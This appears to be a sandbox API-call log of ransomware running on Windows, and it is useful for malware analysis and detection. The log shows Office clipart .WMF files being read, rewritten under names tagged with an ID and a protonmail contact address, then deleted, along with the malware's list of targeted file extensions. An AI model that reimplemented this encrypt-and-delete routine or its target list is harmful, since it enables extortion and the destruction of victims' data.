	[0208.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220
	[0208.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0208.256] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.256] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0208.256] GetLastError () returned 0x0
	[0208.256] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0xb20, lpOverlapped=0x0) returned 1
	[0208.258] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xb30, lpOverlapped=0x0) returned 1
	[0208.259] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.259] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.259] SetEndOfFile (hFile=0x378) returned 1
	[0208.259] CloseHandle (hObject=0x378) returned 1
	[0208.259] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.259] SetEndOfFile (hFile=0x374) returned 1
	[0208.260] CloseHandle (hObject=0x374) returned 1
	[0208.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1
	[0208.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.261] lstrlenW (lpString=".doc") returned 4
	[0208.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.261] lstrlenW (lpString=".docx") returned 5
	[0208.261] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.261] lstrlenW (lpString=".pdf") returned 4
	[0208.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.261] lstrlenW (lpString=".xls") returned 4
	[0208.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.261] lstrlenW (lpString=".xlsx") returned 5
	[0208.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.261] lstrlenW (lpString=".ppt") returned 4
	[0208.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.261] lstrlenW (lpString=".zip") returned 4
	[0208.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.261] lstrlenW (lpString=".rar") returned 4
	[0208.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.261] lstrlenW (lpString=".bz2") returned 4
	[0208.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.261] lstrlenW (lpString=".7z") returned 3
	[0208.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.261] lstrlenW (lpString=".dbf") returned 4
	[0208.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.262] lstrlenW (lpString=".1cd") returned 4
	[0208.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.262] lstrlenW (lpString=".jpg") returned 4
	[0208.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.262] lstrlenW (lpString=".doc") returned 4
	[0208.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.262] lstrlenW (lpString=".docx") returned 5
	[0208.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.262] lstrlenW (lpString=".pdf") returned 4
	[0208.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.262] lstrlenW (lpString=".xls") returned 4
	[0208.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.262] lstrlenW (lpString=".xlsx") returned 5
	[0208.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.262] lstrlenW (lpString=".ppt") returned 4
	[0208.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.262] lstrlenW (lpString=".zip") returned 4
	[0208.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.262] lstrlenW (lpString=".rar") returned 4
	[0208.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.262] lstrlenW (lpString=".bz2") returned 4
	[0208.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.262] lstrlenW (lpString=".7z") returned 3
	[0208.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.262] lstrlenW (lpString=".dbf") returned 4
	[0208.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.263] lstrlenW (lpString=".1cd") returned 4
	[0208.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0208.263] lstrlenW (lpString=".jpg") returned 4
	[0208.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.263] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.263] lstrlenW (lpString="HH01015_.WMF") returned 12
	[0208.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0208.263] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=1148) returned 1
	[0208.263] CloseHandle (hObject=0x374) returned 1
	[0208.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220
	[0208.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0208.264] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.264] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0208.265] GetLastError () returned 0x0
	[0208.265] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x47c, lpOverlapped=0x0) returned 1
	[0208.266] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x480, lpOverlapped=0x0) returned 1
	[0208.267] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.267] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.267] SetEndOfFile (hFile=0x378) returned 1
	[0208.267] CloseHandle (hObject=0x378) returned 1
	[0208.267] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.267] SetEndOfFile (hFile=0x374) returned 1
	[0208.268] CloseHandle (hObject=0x374) returned 1
	[0208.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1
	[0208.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.269] lstrlenW (lpString=".doc") returned 4
	[0208.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.269] lstrlenW (lpString=".docx") returned 5
	[0208.269] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.269] lstrlenW (lpString=".pdf") returned 4
	[0208.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.269] lstrlenW (lpString=".xls") returned 4
	[0208.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.269] lstrlenW (lpString=".xlsx") returned 5
	[0208.269] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.269] lstrlenW (lpString=".ppt") returned 4
	[0208.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.269] lstrlenW (lpString=".zip") returned 4
	[0208.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.269] lstrlenW (lpString=".rar") returned 4
	[0208.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.269] lstrlenW (lpString=".bz2") returned 4
	[0208.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.269] lstrlenW (lpString=".7z") returned 3
	[0208.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.269] lstrlenW (lpString=".dbf") returned 4
	[0208.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.270] lstrlenW (lpString=".1cd") returned 4
	[0208.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.270] lstrlenW (lpString=".jpg") returned 4
	[0208.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.270] lstrlenW (lpString=".doc") returned 4
	[0208.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.270] lstrlenW (lpString=".docx") returned 5
	[0208.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.270] lstrlenW (lpString=".pdf") returned 4
	[0208.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.270] lstrlenW (lpString=".xls") returned 4
	[0208.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.270] lstrlenW (lpString=".xlsx") returned 5
	[0208.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.270] lstrlenW (lpString=".ppt") returned 4
	[0208.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.270] lstrlenW (lpString=".zip") returned 4
	[0208.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.270] lstrlenW (lpString=".rar") returned 4
	[0208.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.270] lstrlenW (lpString=".bz2") returned 4
	[0208.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.270] lstrlenW (lpString=".7z") returned 3
	[0208.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.270] lstrlenW (lpString=".dbf") returned 4
	[0208.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.271] lstrlenW (lpString=".1cd") returned 4
	[0208.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0208.271] lstrlenW (lpString=".jpg") returned 4
	[0208.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.271] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.271] lstrlenW (lpString="HH01058_.WMF") returned 12
	[0208.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0208.271] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=2756) returned 1
	[0208.271] CloseHandle (hObject=0x374) returned 1
	[0208.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220
	[0208.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0208.272] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.272] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0208.272] GetLastError () returned 0x0
	[0208.272] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0xac4, lpOverlapped=0x0) returned 1
	[0208.273] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xad0, lpOverlapped=0x0) returned 1
	[0208.274] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.274] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.275] SetEndOfFile (hFile=0x378) returned 1
	[0208.275] CloseHandle (hObject=0x378) returned 1
	[0208.275] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.275] SetEndOfFile (hFile=0x374) returned 1
	[0208.276] CloseHandle (hObject=0x374) returned 1
	[0208.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1
	[0208.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.276] lstrlenW (lpString=".doc") returned 4
	[0208.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.276] lstrlenW (lpString=".docx") returned 5
	[0208.276] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.277] lstrlenW (lpString=".pdf") returned 4
	[0208.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.277] lstrlenW (lpString=".xls") returned 4
	[0208.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.277] lstrlenW (lpString=".xlsx") returned 5
	[0208.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.277] lstrlenW (lpString=".ppt") returned 4
	[0208.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.277] lstrlenW (lpString=".zip") returned 4
	[0208.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.277] lstrlenW (lpString=".rar") returned 4
	[0208.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.277] lstrlenW (lpString=".bz2") returned 4
	[0208.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.277] lstrlenW (lpString=".7z") returned 3
	[0208.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.277] lstrlenW (lpString=".dbf") returned 4
	[0208.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.277] lstrlenW (lpString=".1cd") returned 4
	[0208.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.277] lstrlenW (lpString=".jpg") returned 4
	[0208.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.277] lstrlenW (lpString=".doc") returned 4
	[0208.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.277] lstrlenW (lpString=".docx") returned 5
	[0208.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.277] lstrlenW (lpString=".pdf") returned 4
	[0208.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.278] lstrlenW (lpString=".xls") returned 4
	[0208.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.278] lstrlenW (lpString=".xlsx") returned 5
	[0208.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.278] lstrlenW (lpString=".ppt") returned 4
	[0208.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.278] lstrlenW (lpString=".zip") returned 4
	[0208.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.278] lstrlenW (lpString=".rar") returned 4
	[0208.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.278] lstrlenW (lpString=".bz2") returned 4
	[0208.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.278] lstrlenW (lpString=".7z") returned 3
	[0208.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.278] lstrlenW (lpString=".dbf") returned 4
	[0208.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.278] lstrlenW (lpString=".1cd") returned 4
	[0208.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0208.278] lstrlenW (lpString=".jpg") returned 4
	[0208.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.278] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.278] lstrlenW (lpString="HH01065_.WMF") returned 12
	[0208.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0208.279] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=1268) returned 1
	[0208.279] CloseHandle (hObject=0x374) returned 1
